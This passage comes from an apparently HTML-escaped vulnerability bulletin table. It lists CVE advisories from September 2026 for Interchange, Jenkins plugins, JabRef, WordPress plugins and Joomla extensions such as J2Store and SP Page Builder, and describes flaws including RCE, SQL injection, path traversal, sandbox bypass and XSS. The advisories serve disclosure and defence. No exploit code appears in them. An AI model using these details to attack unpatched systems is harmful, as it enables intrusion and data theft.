&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Interchange--Interchange&lt;/td&gt;
&lt;td&gt;In the interchange/interchange project, a critical remote code execution (RCE) vulnerability was found in the &quot;quick question&quot; admin feature. In default installations arbitrary Perl code can be injected and executed server-side by unauthenticated users. The Perl code normally runs within a Safe container which limits the scope of what it can do, unless the non-default AllowGlobal directive is configured for the catalog being accessed.CTOR]&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75031&quot; target=&quot;_blank&quot;&gt;CVE-2026-75031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Invisible Anti-Spam &amp;amp; CAPTCHA reCAPTCHA Alternative for All Forms--Invisible Anti-Spam &amp;amp; CAPTCHA reCAPTCHA Alternative for All Forms&lt;/td&gt;
&lt;td&gt;The Invisible Anti-Spam &amp;amp; CAPTCHA - reCAPTCHA Alternative for All Forms WordPress plugin before 5.1.1 does not check the user&#039;s capabilities in its message deletion AJAX action, and only tests that a nonce parameter is present rather than validating it, allowing any authenticated user, such as a subscriber, to permanently delete every form submission the Invisible Anti-Spam &amp;amp; CAPTCHA - reCAPTCHA Alternative for All Forms WordPress plugin before 5.1.1 has stored.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91010&quot; target=&quot;_blank&quot;&gt;CVE-2026-91010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Missing CSRF protection on cart, checkout and myprofile controllers in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - A forged request riding a victim&#039;s active checkout session could silently overwrite the billing or shipping address before order confirmation - the most consequential sub-case, since it opens the door to redirecting a paid order&#039;s goods to an attacker-controlled address - or tamper with a saved profile address via `saveAddress()`. As before, each forged request executes with only the victim&#039;s own session privileges, so there is no cross-account data access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78081&quot; target=&quot;_blank&quot;&gt;CVE-2026-78081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Unauthenticated blind SQL injection in the storefront product list in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - Unauthenticated, blind extraction of arbitrary database content (e.g. customer records, order data, stored credentials/tokens) via boolean- or time-based inference, reachable on any public storefront that exposes the standard product listing or product-tags filter.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81567&quot; target=&quot;_blank&quot;&gt;CVE-2026-81567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Arbitrary file read via `task=download` in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - `J2StoreModelOrderdownloads::getFilePath()` built the on-disk path to a purchased digital download by concatenating the configured attachment folder with the product file&#039;s stored `product_file_save_name`, using only `JPath::clean()` (which normalises separators but does not resolve or reject `..` segments) and a plain `JFile::exists()` check - never confirming the resolved path stayed inside the configured attachment folder. If a product file&#039;s `product_file_save_name` ever contained a `../` traversal segment - most plausibly via the CSRF-forgeable admin product-file save actions described in Issue 1, but equally by any future integration or bug that writes that field - any customer holding a valid download `token`/`pid` pair for that product file could have the traversal resolve to a path outside the attachment folder and download any file readable by the web server (e.g. `configuration.php`).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81568&quot; target=&quot;_blank&quot;&gt;CVE-2026-81568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Any order can be marked Failed by anyone in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - Unauthenticated denial-of-service against the order pipeline: mass-failing pending orders to disrupt revenue and force manual reprocessing, or flipping already-fulfilled orders back to `FAILED` to cause operational confusion (unwarranted refunds/cancellations, customer-support load). Unlike the earlier confirmation-fraud issue, this required no correct payment amount or transaction data at all.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82189&quot; target=&quot;_blank&quot;&gt;CVE-2026-82189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Predictable/forgeable order access token in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - Anyone who obtains the site&#039;s Joomla `secret` can compute a valid access token for *any* order on the site without ever having placed one, gaining guest access to that order&#039;s details and any purchased digital downloads. Because the token is never rotated, this exposure persists indefinitely even after the underlying secret-disclosure vector is patched, unless the Joomla secret itself is also rotated. The attack complexity (`AC:H`) is high because it depends on the secret already being known through a separate vector; it is not directly exploitable by an anonymous visitor with no other foothold.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82190&quot; target=&quot;_blank&quot;&gt;CVE-2026-82190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;j2commerce.com--J2Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - j2commerce.com - Unescaped request data reflected into PayPal notify redirect in J2Store 1.0.0-3.3.2, 4.0.0-4.0.22, 4.1.0-4.1.7 - A crafted link to the paypal notify endpoint, if followed by a victim&#039;s browser (or an automated system that fetches it), causes the resulting redirect to `com_j2store`&#039;s checkout controller to carry attacker-chosen query parameters instead of only the intended `view=checkout&amp;amp;task=confirmPayment&amp;amp;orderpayment_type=...&amp;amp;paction=process` set - parameter injection/smuggling into that follow-up request. This requires a victim to load the crafted link (`UI:R`/`UI:P`); it does not by itself grant an unauthenticated attacker anything they could not already obtain by requesting the target `com_j2store` URL directly with their own parameters.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82191&quot; target=&quot;_blank&quot;&gt;CVE-2026-82191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JabRef--jabref&lt;/td&gt;
&lt;td&gt;JabRef is a desktop application for managing BibTeX and BibLaTeX libraries. Prior to 6.0-alpha.6, when jabsrv or JabRef&#039;s built-in HTTP server is enabled, the GET /better-bibtex/cayw endpoint accepts an external command query parameter and CAYWQueryParams.getCommand() passes it through CAYWResource.getCitation() into PushToSublimeText.getCommandLine(). On Unix-like systems, PushToSublimeText combines this untrusted cite-command prefix and citation keys into a string executed through sh -c by ProcessBuilder without shell escaping. A client that can cause a localhost request with application=sublime can inject shell metacharacters and execute operating-system commands as the JabRef user when a valid Sublime Text command path is configured and the victim completes the CAYW selection dialog. The built-in server is disabled by default, so exploitation requires the victim to enable it or run jabsrv. This issue is fixed in version 6.0-alpha.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53534&quot; target=&quot;_blank&quot;&gt;CVE-2026-53534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Bitbucket Push and Pull Request Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Bitbucket Push and Pull Request Plugin 4.0.1 and earlier trusts values provided in the webhook payload, including certain URLs, and uses configured Bitbucket credentials to connect to those URLs, allowing attackers to capture Bitbucket credentials stored in Jenkins by sending a crafted webhook payload.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92139&quot; target=&quot;_blank&quot;&gt;CVE-2026-92139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Bitbucket Server Integration Plugin&lt;/td&gt;
&lt;td&gt;The OAuth authorization endpoint in Jenkins Bitbucket Server Integration Plugin 6.0.1 and earlier reads the `oauth_callback` URL from the submitted form rather than from the server-side stored request token, allowing attackers to hijack the OAuth flow and obtain an access token on behalf of the victim.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92138&quot; target=&quot;_blank&quot;&gt;CVE-2026-92138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Coverage Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Coverage Plugin 3.3358.v9487dde48783 and earlier does not validate the coverage results ID when a job configuration is submitted through the REST API, allowing attackers with Item/Configure permission to use a javascript: scheme URL as identifier, resulting in a stored cross-site scripting (XSS) vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92135&quot; target=&quot;_blank&quot;&gt;CVE-2026-92135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Gitee Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Gitee Plugin 1301.v8957053c7902 and earlier does not escape the sender name from Gitee push webhook payloads in build causes, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to trigger builds via the Jenkins Gitee Plugin webhook endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92140&quot; target=&quot;_blank&quot;&gt;CVE-2026-92140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins GitLab Plugin&lt;/td&gt;
&lt;td&gt;Jenkins GitLab Plugin 1.2149.vcfc32c82b_f7f and earlier caches the GitLab API client built for alternative GitLab API token credentials under a cache key derived from the credentials ID alone, omitting the folder in which the credentials are resolved, allowing attackers with Item/Configure permission to access GitLab API token credentials they are not entitled to use.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92133&quot; target=&quot;_blank&quot;&gt;CVE-2026-92133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Gradle Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Gradle Plugin 2.19.1252.v15196b_5a_6e10 and earlier requests build scan data from the build scan link detected in the build log, even when a Develocity server URL is configured in the global configuration, allowing attackers able to control the build log to capture the Develocity access key configured in the global configuration by having Jenkins connect to an attacker-specified URL.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92132&quot; target=&quot;_blank&quot;&gt;CVE-2026-92132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Keycloak Authentication Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Keycloak Authentication Plugin 2.4.1 and earlier does not restrict the redirect URL after login, allowing attackers to perform phishing attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92141&quot; target=&quot;_blank&quot;&gt;CVE-2026-92141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins OWASP Dependency-Check Plugin&lt;/td&gt;
&lt;td&gt;Jenkins OWASP Dependency-Check Plugin 5.6.4 and earlier does not escape CWE values from Dependency-Check reports on the Jenkins UI, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92136&quot; target=&quot;_blank&quot;&gt;CVE-2026-92136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Pipeline: Groovy Libraries Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Pipeline: Groovy Libraries Plugin 805.va_fc79344957d and earlier does not restrict the library path provided to the library Pipeline step to a relative path inside the SCM checkout, and follows symbolic links to locations outside of the SCM checkout when retrieving the library, resulting in a path traversal vulnerability, allowing attackers able to configure Pipelines to read files in a resources directory and to delete files in a test directory on the Jenkins controller file system.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92131&quot; target=&quot;_blank&quot;&gt;CVE-2026-92131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Pipeline: Multibranch Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Pipeline: Multibranch Plugin 841.vec5b_9e1806ec and earlier does not set the appropriate context for credentials lookup in the resolveScm Pipeline step, allowing attackers with Item/Configure permission to access and capture credentials they are not entitled to.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92130&quot; target=&quot;_blank&quot;&gt;CVE-2026-92130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Robot Framework Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Robot Framework Plugin 6.2.2 and earlier does not check that the archive directory configured for Robot Framework report files is contained within the build directory on the Jenkins controller, allowing attackers with Item/Configure permission to create or replace arbitrary files on the Jenkins controller file system with attacker-specified content, which can lead to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92137&quot; target=&quot;_blank&quot;&gt;CVE-2026-92137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not check the method called through the proxy created when a sandboxed script coerces a value to an interface, if the value inherits a method of the same name as an interface method, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92122&quot; target=&quot;_blank&quot;&gt;CVE-2026-92122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not intercept operations performed on a null receiver (method calls, property and attribute accesses, and array accesses), allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92123&quot; target=&quot;_blank&quot;&gt;CVE-2026-92123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier checks the operations Groovy will perform with the elements it reads from a collection that a sandboxed script casts to another type but performs the cast on the collection itself, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92124&quot; target=&quot;_blank&quot;&gt;CVE-2026-92124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not reject the @GroovyASTTransformationClass annotation, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to run an arbitrary AST transformation at compile time, bypassing the sandbox protection and executing arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92125&quot; target=&quot;_blank&quot;&gt;CVE-2026-92125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92126&quot; target=&quot;_blank&quot;&gt;CVE-2026-92126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier automatically approves the classpath entries in an item configuration when a user with Overall/Administer permission copies the item, or updates that configuration through the REST API or CLI, allowing attackers able to define classpath entries to execute arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92127&quot; target=&quot;_blank&quot;&gt;CVE-2026-92127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier downloads a JAR file specified by URL twice, confirming the approval of the first download and loading the classpath entries from the second, allowing attackers able to define classpath entries to execute arbitrary code in the context of the Jenkins controller JVM.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92128&quot; target=&quot;_blank&quot;&gt;CVE-2026-92128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Script Security Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not check calls from sandboxed scripts to methods added dynamically to a class at runtime, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute code outside the sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92129&quot; target=&quot;_blank&quot;&gt;CVE-2026-92129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jenkins Project--Jenkins Warnings Plugin&lt;/td&gt;
&lt;td&gt;Jenkins Warnings Plugin 13.10258.va_17d49a_78c3b_ and earlier does not validate the analysis results ID when a job configuration is submitted through the REST API, allowing attackers with Item/Configure permission to use a javascript: scheme URL as identifier, resulting in a stored cross-site scripting (XSS) vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92134&quot; target=&quot;_blank&quot;&gt;CVE-2026-92134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetFormBuilder Dynamic Blocks Form Builder--JetFormBuilder Dynamic Blocks Form Builder&lt;/td&gt;
&lt;td&gt;The JetFormBuilder - Dynamic Blocks Form Builder WordPress plugin before 3.6.5.3 does not sufficiently restrict which PHP functions can be used as a custom field-validation callback, relying on a blocklist that omits a file-deletion function, allowing users able to manage forms to cause arbitrary files on the server to be deleted. The deletion itself is carried out when the form is submitted, which requires no authentication.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19860&quot; target=&quot;_blank&quot;&gt;CVE-2026-19860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomgalleryfriends.net--JoomGallery extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomgalleryfriends.net - Unauthenticated arbitrary file upload via the TUS endpoint in JoomGallery &amp;lt; 4.4.2 - The TUS endpoint allows arbitrary file uploads, however neither file name nor file extension are under attacker control. Code execution requires non-standard server configuration.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84048&quot; target=&quot;_blank&quot;&gt;CVE-2026-84048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Free and Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Authenticated Privileged SQL Injection in the Content Plugin of SP Page Builder (Free and Pro) 5.2.1 - 6.9.0 - plgContentSppagebuilder::onContentAfterSave() read jform[attribs][sppagebuilder_article_id] from the request and concatenated it directly into the WHERE view_id = ... clause of a query against #__sppagebuilder without quoting or type casting. Joomla&#039;s ARRAY input filter does not sanitise element values, as InputFilter::clean() returns (array) $source with the elements untouched, so the entire payload could be delivered in a single POST field. The affected block also executed before the com_content.article context test, so it ran on every onContentAfterSave event regardless of which component triggered the save. An attacker could perform time-based blind SQL injection to read arbitrary database contents, including the #__users and #__session tables.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78375&quot; target=&quot;_blank&quot;&gt;CVE-2026-78375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Free and Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Rename Allowing Arbitrary File Rename in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The media rename task applied neither of the directory boundary checks used by the folder operations in the same controller, and its validation guard required only that either a media record exist for the supplied identifier or that the supplied path be present in #__spmedia, rather than both. The identifier and the path were consequently never checked against one another, so any valid media identifier could be paired with an unrelated filesystem path, and the STR input filter left traversal sequences intact. An attacker could rename files elsewhere in the installation, including renaming configuration.php to take the site offline.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81564&quot; target=&quot;_blank&quot;&gt;CVE-2026-81564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Free and Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The folder request parameter replaced the generated date-based destination folder in its entirety and was then passed to Folder::create() and File::upload() without either of the directory boundary checks applied elsewhere in the same file. Files could be written into any directory beneath the web root, including administrator/, templates/, cli/ and the site root. Joomla&#039;s PATH input filter prevented traversal above the web root, and existing files were not overwritten.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81565&quot; target=&quot;_blank&quot;&gt;CVE-2026-81565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Free and Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing Access Control in Menu Item Creation in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The add-to-menu routine invoked the com_menus item model&#039;s save() method directly. That model does not perform authorisation itself, because the relevant checks reside in the com_menus controller, and the only check applied was core.edit on com_sppagebuilder. Users with no permissions whatsoever on com_menus could therefore create menu items, and because the record identifier was taken from the submitted jform[menuid] field, could also overwrite existing ones. The home flag was read back from the database and preserved, so the site&#039;s home menu item could be repointed while remaining the home item.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81566&quot; target=&quot;_blank&quot;&gt;CVE-2026-81566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--SP Page Builder (Pro) extension for Joomla&lt;/td&gt;
